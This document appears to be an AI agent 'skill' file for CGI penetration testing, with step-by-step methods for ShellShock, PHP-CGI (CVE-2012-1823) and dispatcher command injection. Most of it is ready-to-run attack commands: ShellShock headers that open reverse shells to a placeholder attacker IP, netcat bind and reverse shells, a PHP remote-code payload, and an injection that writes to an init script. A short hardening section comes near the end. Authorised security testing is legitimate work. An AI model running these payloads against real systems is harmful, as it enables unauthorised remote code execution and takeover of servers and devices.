CGI Pentesting
A skill for testing and exploiting Common Gateway Interface (CGI) vulnerabilities in web applications.
When to Use This Skill
Use this skill when:
- Testing web applications with
.cgiendpoints or/cgi-bin/directories - Investigating potential ShellShock vulnerabilities
- Analyzing centralized CGI dispatchers with selector parameters
- Testing old PHP versions with CGI enabled
- Performing HTTP header-based attacks (User-Agent, Cookie, Proxy)
- Enumerating CGI scripts on a target
- Testing for command injection in web forms
Core Concepts
What are CGI Scripts?
CGI scripts are typically Perl scripts that execute on the server when accessed via a web browser. If you can upload and execute .cgi files, you can potentially achieve remote code execution.
Key Vulnerability Types
- ShellShock - Bash environment variable injection
- Parameter Injection - Command injection via CGI parameters
- PHP CGI RCE - Old PHP versions with CGI enabled
- Header Injection - HTTP headers passed as environment variables
- Centralized Dispatcher Exploits - Single endpoint routing vulnerabilities
Testing Methodology
Step 1: Enumerate CGI Endpoints
First, identify all CGI scripts on the target:
# Use Nikto with all plugins
nikto -h <target> -C all
# Use Nmap for CGI discovery
nmap -p 80 --script http-enum <target>
# Manual enumeration of common paths
# /cgi-bin/
# /cgi/
# /scripts/
# /bin/
Step 2: Test for ShellShock
ShellShock affects Bash and allows command execution through environment variables.
Detection Methods
Nmap Script:
nmap <target> -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl Tests:
Reflected (easiest to detect):
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://<target>/cgi-bin/admin.cgi 2>/dev/null | grep 'VULNERABLE'
Blind (time-based):
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://<target>/cgi-bin/admin.cgi
# If response takes 5+ seconds, likely vulnerable
Out-of-Band (reverse connection):
# Start listener first
nc -lvnp 4242
# Then send payload
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<YOUR_IP>/4242 0>&1' http://<target>/cgi-bin/user.sh
Automated Testing
Use the shellshock-test.sh script for comprehensive testing:
./scripts/shellshock-test.sh <target> <cgi-path>
Step 3: Test Centralized CGI Dispatchers
Many embedded devices use a single CGI endpoint with selector parameters:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
topicurl=<handler>¶m=value
Exploitation Patterns
1. Option/Flag Injection:
# Flip argv of downstream tools
topicurl=<handler>¶m=-n
2. Parameter-to-Shell Injection:
# When handler concatenates into shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
3. Validator Bypass → File Write:
# In file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc
Enumeration Strategy
- Scrape JavaScript/HTML for handler names
- Brute-force with wordlists
- Unpack firmware and grep for handler strings
- Test unauthenticated reachability of handlers
- Focus on handlers that invoke system utilities or touch files
Step 4: Test Old PHP CGI Vulnerabilities
CVE-2012-1823 and CVE-2012-2311 affect PHP < 5.3.12 / < 5.4.2 with CGI enabled.
Detection
Access a PHP file without parameters (especially without =):
# Source code disclosure
curl "http://<target>/index.php?-s"
If source code appears, the server is vulnerable.
Exploitation
# RCE via auto_prepend_file
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://<target>/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Use the php-cgi-test.sh script for automated testing:
./scripts/php-cgi-test.sh <target> <php-file>
Step 5: HTTP Header Attacks
CGI creates environment variables from HTTP headers. Exploit this:
Proxy/MitM Attack
# Send Proxy header to redirect server requests
curl -H 'Proxy: <YOUR_IP>:<PORT>' http://<target>/cgi-bin/script.cgi
# On your machine, start a proxy to capture requests
proxychains -c <your-proxy-tool>
User-Agent Injection
curl -H 'User-Agent: () { :; }; <command>' http://<target>/cgi-bin/script.cgi
Cookie Injection
curl -H 'Cookie: () { :;}; <command>' http://<target>/cgi-bin/script.cgi
Exploitation Techniques
Reverse Shells
Using Curl:
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<YOUR_IP>/80 0>&1' http://<target>/cgi-bin/admin.cgi
Using Netcat:
# Bind shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc <target> 80
# Reverse shell
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc <YOUR_IP> 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc <target> 80
Metasploit
use multi/http/apache_mod_cgi_bash_env_exec
set targeturi /cgi-bin/admin.cgi
set rhosts <target>
run
Detection and Hardening
What to Watch For
- Unauthenticated requests to centralized CGI endpoints
- Parameters beginning with
-(argv injection attempts) - Old Apache versions with
cgi_modenabled - PHP versions < 5.3.12 with CGI enabled
- Environment variable manipulation in HTTP headers
Hardening Recommendations
- Authentication: Enforce on all state-changing handlers
- Validation: Use strict allowlists, types, and length limits
- Input Sanitization: Never pass user-controlled strings as command-line flags
- Updates: Keep Apache, PHP, and Bash updated
- Monitoring: Flag suspicious CGI parameter patterns
Scripts
Available Scripts
scripts/shellshock-test.sh- Comprehensive ShellShock testingscripts/cgi-enumerate.sh- CGI endpoint enumerationscripts/php-cgi-test.sh- PHP CGI vulnerability testing
Using Scripts
All scripts are located in the scripts/ directory. Make them executable:
chmod +x scripts/*.sh
Then run with appropriate parameters:
./scripts/shellshock-test.sh <target> <cgi-path>
./scripts/cgi-enumerate.sh <target>
./scripts/php-cgi-test.sh <target> <php-file>